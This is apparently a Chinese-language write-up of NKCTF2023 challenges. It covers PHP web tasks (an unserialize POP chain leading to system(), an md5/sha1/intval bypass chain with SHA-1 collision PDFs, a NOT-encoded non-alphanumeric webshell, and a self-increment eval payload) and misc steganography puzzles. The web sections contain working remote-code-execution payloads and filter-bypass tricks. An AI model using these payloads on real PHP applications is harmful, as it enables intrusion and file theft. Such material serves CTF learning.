本文最后更新于:2023年6月5日 下午
[TOC]
NKCTF2023 WEB baby_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php error_reporting (0 ); class Welcome { public $name ; public $arg = 'oww!man!!' ; public function __construct ( ) { $this ->name = 'ItS SO CREAZY' ; } public function __destruct ( ) { if ($this ->name == 'welcome_to_NKCTF' ){ echo $this ->arg; } } } function waf ($string ) { if (preg_match ('/f|l|a|g|\*|\?/i' , $string )){ die ("you are bad" ); } } class Happy { public $shell ; public $cmd ; public function __invoke ( ) { $shell = $this ->shell; $cmd = $this ->cmd; waf ($cmd ); eval ($shell ($cmd )); } } class Hell0 { public $func ; public function __toString ( ) { $function = $this ->func; $function (); } } if (isset ($_GET ['p' ])){ unserialize ($_GET ['p' ]); }else { highlight_file (__FILE__ ); }?>
我们仔细分析一下代码,可以得到一条pop链:Welcome->Hell0->Happy
我们可以将Welcome类的 $name='welcome_to_NKCTF'
,$args=new Hell0()
当Welcome类被销毁时,会调用 __destruct()
方法,使用echo输出Hell0
对象,调用Hell0的__toString()
方法,当类Hell0对象的$func=new Happy()
,我们以函数的形式调用一个对象时,会自动调用该对象的__invoke()
方法,进而实现命令执行。
但是这里有一个waf
:
1 2 3 4 5 function waf ($string ) { if (preg_match ('/f|l|a|g|\*|\?/i' , $string )){ die ("you are bad" ); } }
把 flag*?
给过滤了,我们不能直接读flag,我们先构造链去获取flag的路径:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class Welcome { public $name = "welcome_to_NKCTF" ; public $arg ; }class Happy { public $shell ; public $cmd ; }class Hell0 { public $func ; }$w = new Welcome ();$ha = new Happy ();$he = new Hell0 ();$w ->arg = $he ;$he ->func=$ha ;$ha ->shell="system" ;$ha ->cmd="dir /" ; echo urlencode (serialize ($w )); 输出: O%3 A7%3 A%22 Welcome%22 %3 A2%3 A%7 Bs%3 A4%3 A%22 name%22 %3 Bs%3 A16%3 A%22 welcome_to_NKCTF%22 %3 Bs%3 A3%3 A%22 arg%22 %3 BO%3 A5%3 A%22 Hell0%22 %3 A1%3 A%7 Bs%3 A4%3 A%22 func%22 %3 BO%3 A5%3 A%22 Happy%22 %3 A2%3 A%7 Bs%3 A5%3 A%22 shell%22 %3 Bs%3 A6%3 A%22 system%22 %3 Bs%3 A3%3 A%22 cmd%22 %3 Bs%3 A5%3 A%22 dir+%2 F%22 %3 B%7 D%7 D%7 D
然后我们需要去读取根目录下的 f1ag
,但是:fag?*
被过滤了,我们怎么才能读?
我们查询到linux下还有其他的通配符:
我们可以如下构造:
1 2 more /[^1]1[^1][^1] sort /[!1]1[!1][!1]
成功得到flag:
eazy_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php highlight_file (__FILE__ ); error_reporting (0 ); if ($_GET ['a' ] != $_GET ['b' ] && md5 ($_GET ['a' ]) == md5 ($_GET ['b' ])){ if ((string )$_POST ['c' ] != (string )$_POST ['d' ] && sha1 ($_POST ['c' ]) === sha1 ($_POST ['d' ])){ if ($_GET ['e' ] != 114514 && intval ($_GET ['e' ]) == 114514 ){ if (isset ($_GET ['NS_CTF.go' ])){ if (isset ($_POST ['cmd' ])){ if (!preg_match ('/[0-9a-zA-Z]/i' , $_POST ['cmd' ])){ eval ($_POST ['cmd' ]); }else { die ('error!!!!!!' ); } }else { die ('error!!!!!' ); } }else { die ('error!!!!' ); } }else { die ('error!!!' ); } }else { die ('error!!' ); } }else { die ('error!' ); }?>
第一层:
1 if ($_GET ['a' ] != $_GET ['b' ] && md5 ($_GET ['a' ]) == md5 ($_GET ['b' ]))
md5绕过,我们可以使用数组绕过:
第二层
1 if ((string )$_POST ['c' ] != (string )$_POST ['d' ] && sha1 ($_POST ['c' ]) === sha1 ($_POST ['d' ]))
这里需要使用sha1强碰撞绕过:
1 c=%25 PDF-1.3 %0 A%25 %E2%E3%CF%D3%0 A%0 A%0 A1%200 %20 obj%0 A%3 C%3 C/Width%202 %200 %20 R/Height%203 %200 %20 R/Type%204 %200 %20 R/Subtype%205 %200 %20 R/Filter%206 %200 %20 R/ColorSpace%207 %200 %20 R/Length%208 %200 %20 R/BitsPerComponent%208 %3 E%3 E%0 Astream%0 A%FF%D8%FF%FE%00 %24 SHA-1 %20 is%20 dead%21 %21 %21 %21 %21 %85 /%EC%09 %239 u%9 C9%B1%A1%C6%3 CL%97 %E1%FF%FE%01 %7 FF%DC%93 %A6%B6%7 E%01 %3 B%02 %9 A%AA%1 D%B2V%0 BE%CAg%D6%88 %C7%F8K%8 CLy%1 F%E0%2 B%3 D%F6%14 %F8m%B1i%09 %01 %C5kE%C1S%0 A%FE%DF%B7%608 %E9rr/%E7%ADr%8 F%0 EI%04 %E0F%C20W%0 F%E9%D4%13 %98 %AB%E1.%F5%BC%94 %2 B%E35B%A4%80 -%98 %B5%D7%0 F%2 A3.%C3%7 F%AC5%14 %E7M%DC%0 F%2 C%C1%A8t%CD%0 Cx0Z%21 Vda0%97 %89 %60 k%D0%BF%3 F%98 %CD%A8%04 F%29 %A1&d=%25 PDF-1.3 %0 A%25 %E2%E3%CF%D3%0 A%0 A%0 A1%200 %20 obj%0 A%3 C%3 C/Width%202 %200 %20 R/Height%203 %200 %20 R/Type%204 %200 %20 R/Subtype%205 %200 %20 R/Filter%206 %200 %20 R/ColorSpace%207 %200 %20 R/Length%208 %200 %20 R/BitsPerComponent%208 %3 E%3 E%0 Astream%0 A%FF%D8%FF%FE%00 %24 SHA-1 %20 is%20 dead%21 %21 %21 %21 %21 %85 /%EC%09 %239 u%9 C9%B1%A1%C6%3 CL%97 %E1%FF%FE%01 sF%DC%91 f%B6%7 E%11 %8 F%02 %9 A%B6%21 %B2V%0 F%F9%CAg%CC%A8%C7%F8%5 B%A8Ly%03 %0 C%2 B%3 D%E2%18 %F8m%B3%A9%09 %01 %D5%DFE%C1O%26 %FE%DF%B3%DC8%E9j%C2/%E7%BDr%8 F%0 EE%BC%E0F%D2%3 CW%0 F%EB%14 %13 %98 %BBU.%F5%A0%A8%2 B%E31%FE%A4%807 %B8%B5%D7%1 F%0E3 .%DF%93 %AC5%00 %EBM%DC%0 D%EC%C1%A8dy%0 Cx%2 Cv%21 V%60 %DD0%97 %91 %D0k%D0%AF%3 F%98 %CD%A4%BCF%29 %B1
第三层:
1 if ($_GET ['e' ] != 114514 && intval ($_GET ['e' ]) == 114514 )
intval()
函数 用于获取变量的整数值,如果我们传入一个小数,会被转化为整数,但是php小数与整数又不相等,所以我们可以使用小数绕过
第四层:
1 if (isset ($_GET ['NS_CTF.go' ]))
php中如果参数中出现非法字符,会被替换为下滑线_
,如果出现[
,也会被替换为下划线_
,但是这将导致后面的非法字符不被转换(php<8)
php非法参数转换
例如:我们传入
由于[
被转为下划线_
,并导致后面的非法字符不转换,所以实际传入的变量名为:
第五、六层:非字母数字webshell,我们使用取反~
绕过
1 2 3 4 <?php $func = "system" ;$cmd = "ls /" ;echo "(~" .urlencode (~$func ).")" ."(~" .urlencode (~$cmd ).");" ;
读到flag在根目录,然后使用tac查看:
得到flag
hard_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['NKCTF' ])) { $NK = $_POST ['NKCTF' ]; if (is_string ($NK )) { if (!preg_match ("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/" ,$NK ) && strlen ($NK ) < 105 ){ eval ($NK ); }else { echo ("hacker!!!" ); } }else { phpinfo (); } }?>
过滤了好多
1 if (!preg_match ("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/" ,$NK ) && strlen ($NK ) < 105 ){
不能使用异或、取反、或
好像可以使用自增,但是限制了长度,可以读些简单的东西
这是根据ctfshow rce极限挑战改编的
ctfshowRCE极限挑战
我们先读一下phpinfo(),可以传数组 NKCTF[]=1
绕过 is_string()
我们使用如下payload:
1 NKCTF=$_ =(_/_._)[_];$_ %2 B%2 B;$%FA=$_ .$_ %2 B%2 B;$_ %2 B%2 B;$_ %2 B%2 B;$_ =_.$%FA.%2 B%2 B$_ .%2 B%2 B$_ ;$$_ [_]($$_ [%FA]);&_=highlight_file&%FA=/flag
很多函数被过滤了,我们使用highlight_file
直接读flag
MISC hard-misc 1 JYYHOYLZIJQWG27 FQWWOJPEX4 WH3 PZM3 T3 S2 JDPPXSNAUTSLINKEMMRQGIZ6 NCER42 O2 LZF2 Q3 X3 ZAI=
base32解密
blue
下载后得到windows镜像,
我们直接使用7z打开:
找到flag
三体 下载得到一张bmp图片
文件尾存在部分flag:
注意要将编码方式改为ASCII码:
然后我们使用zsteg -a
,分析bmp图片隐写:
这里可能存在flag,我们把它分离出来:zsteg -E
获得了一个txt文件
我们查找一下另一半flag:
找到了,然后我们只需要倒过来就得到flag
easy_rgb 下载后得到一个加密得rar包
和一个存在很多图片得压缩包key
我们使用 montage
将图片拼接起来:(这里有180张图片,我们使用18x10的行列)
1 montage *png -tile 18 x10 -geometry +0 +0 flag.png
然后再用gaps
命令,进行排序:
因为每张图片是125像素,所以我们这么写:
1 gaps --image flag.png --size =125
拼图成功:
得到key:NKCTF2023
使用key将压缩包进行解压:
txt文件里面都是数字,我们猜测需要将里面的数字拼起来,形成某种文件。
我们按照rgb的顺序进行拼接,上脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import binascii r = open ("C://Users/LIKE/Desktop/r.txt" , 'r' ) g = open ("C://Users/LIKE/Desktop/g.txt" , 'r' ) b = open ("C://Users/LIKE/Desktop/b.txt" , 'r' ) rs = r.read() gs = g.read() bs = b.read() count = 0 s = "" for i in range (0 , 150 ): s = s + rs[count:count+1 ] s = s + gs[count:count+1 ] s = s + bs[count:count+1 ] count = count + 1 f = open ("C://Users/LIKE/Desktop/flag.zip" ,"wb" ) f.write(binascii.unhexlify(s))
打开zip文件:
提示为:AES-128加密
我们找个网站解密:AES-128解密
easy_word